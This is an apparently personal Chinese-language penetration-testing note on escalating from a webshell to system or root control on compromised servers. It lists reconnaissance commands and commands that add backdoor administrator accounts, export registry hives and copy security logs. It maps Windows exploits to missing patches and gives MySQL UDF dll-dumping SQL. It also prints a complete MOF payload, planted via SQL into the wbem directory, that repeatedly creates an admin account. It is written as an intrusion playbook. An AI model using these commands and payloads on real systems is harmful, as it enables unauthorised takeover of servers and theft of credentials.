提权
通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。
Windows:
User >> System
Linux:
User >> Root
提权攻击原理及提权方法
主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升
WEBSHELL权限,从而进一步获得服务器权限。
掌握相关的提权工具工具进行提权
- 操作系统本身的提权
- 利用数据库进行提权
- 系统配置不当提权
- 第三方软件提权
提权后的操作
以下是部分常用命令
获取主机名
hostname
或者echo %COMPUTERNAME%
获取当前用户权限信息
whoami /priv
收集本地用户和组信息
本地用户组
net localgroup
本地用户
net user
添加用户
net user username password /add
将用户加入管理组
net localgroup administrators username /add
激活guest用户
net user guest /active:yes
修改用户密码
net user username newpassword
本地管理员信息
net localgroup administrators
获取所属域信息
systeminfo
这个命令同时可以看到一些其它信息,包括补丁情况,系统版本等
而完整的补丁情况可以用
wmic qfe list
获取环境变量
set
获取在线主机信息
net view
获取本地共享信息,这里可能会有很多对我们提权有帮助的文件
net view /a \%COMPUTERNAME%
获取IP信息,这个大概是进去的第一个命令
ipconfig /all
查看本地端口开放与连接信息
netstat -ano
查看进程列表
tasklist /svc
在安装了IIS服务的系统上,可以用一下命令获取站点信息
%windir%\system32\inetsrv\AppCmd.exe list site
保存系统注册表信息
reg export HKLM hklm.reg
reg export HKCU hkcu.reg
reg export HKCU hkcr.reg
reg export HKCU hku.reg
reg export HKCU hkcc.reg
获取系统日志信息
copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx
其它一些提权常用命令
获取在线用户
quser or query user
获取rdp连接来源IP
netstat -ano | findstr 3389
分析安装杀软
dir c:\programdata\
信息收集可以用一个bat脚本实现
提权分类
文件系统权限配置不当提权
有时候webshell自带的cmd并不能执行,因为权限不够
但这个时候我们能够通过大马的探测功能探测可以读写的目录
然后上传一个cmd并运行
然后又可能遇到不能执行net相关命令的情况
同样可以上传一个net.exe进行调用,或者直接windows的API
远程溢出提权
以MS17010为例
本地系统漏洞提权
常用的exp及其补丁对照
- KB2645640 MS12-009
- KB2641653 MS12-018
- KB952004 MS09-012 Pr.exe
- KB956572 MS09-012 巴西烤肉
- KB971657 MS09-041
- KB2620712 MS11-097
- KB2393802 MS11-011 ms11011.exe
- KB942831 MS08-005
- KB2503665 MS11-046 ms11046.exe
- KB2592799 MS11-080 ms11080.exe
较新的提权漏洞
可提权2008、2012、win7、win8、win10
- MS12-020
- MS13-046
- MS13-053
- MS14-058
- MS15-051
- MS15-077
- MS15-097
但是实际渗透中涉及的windows机器很多版本都较低
https://github.com/SecWiki/windows-kernel-exploits
可以利用msf进行漏洞扫描
基于数据库提权
MSSQL
mssql提权遇到再补吧。。
xp_cmdshell提权
sp_oacreate和sp_oamethod提权
沙盒提权
JOB提权
xp_regwrite函数进行映像劫持提权
MYSQL
UDF提权
mysql提权必须要知道root账户的密码
UDF提权时MySQL提权中最常用并且成功率最高的一种方法。UDF的全称是User Defined Function,意为用户自定义函数。
- 查看mysql版本
select version()
- 不同的版本导出udf.dll的路径不同,经验来讲直接导到
\lib\plugin
插件目录就可以了。select @@plugin_dir
或者show variables like '%plugin%'
可以查看插件目录 - 上传dll文件到插件目录
select load_file('D:\\udf.dll') into dumpfile 'E:\\mysql5\\5/lib\\plugin\\udf.dll'
或者select 0xUDFcode into dumpfile 'E:\\mysql5\\5/lib\\plugin\\udf.dll'
也可以从webshell上传
udf手工提权先不写了,遇到再补。
mof提权
MOF(托管对象格式)是Windows系统的一个文件,其目录为C:/windows/system32/wbem/mof/nullevt.mof
,其作用是每隔一段时间去监控进程的创建和死亡,MOF提权就是使用MySQL的Root权限将含有恶意代码的MOF文件上传到该目录下。
mof代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
- 上传mof文件
将MOF导出到C:/windows/system32/wbem/mof/目录,并重命名为nullevt.mof,其SQL语句为:
1
select load_file('..../mof.txt') into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
等待一段时间(s为单位,这里mof是5s)成功则发现已经添加admin账户,然后修改mof内容重新上传,将其加入到管理员用户组。
当没有上传权限时,可以直接用十六进制或者ascii通过sql直接写
进入系统后要删除mof文件,因为一直在写的原因,可能导致服务器宕机
该方法使用较老的机器
启动项提权
第三方应用提权
- pcanywhere
- RAdmin 存在于端口4899
- IIS7 存在提权漏洞
- ….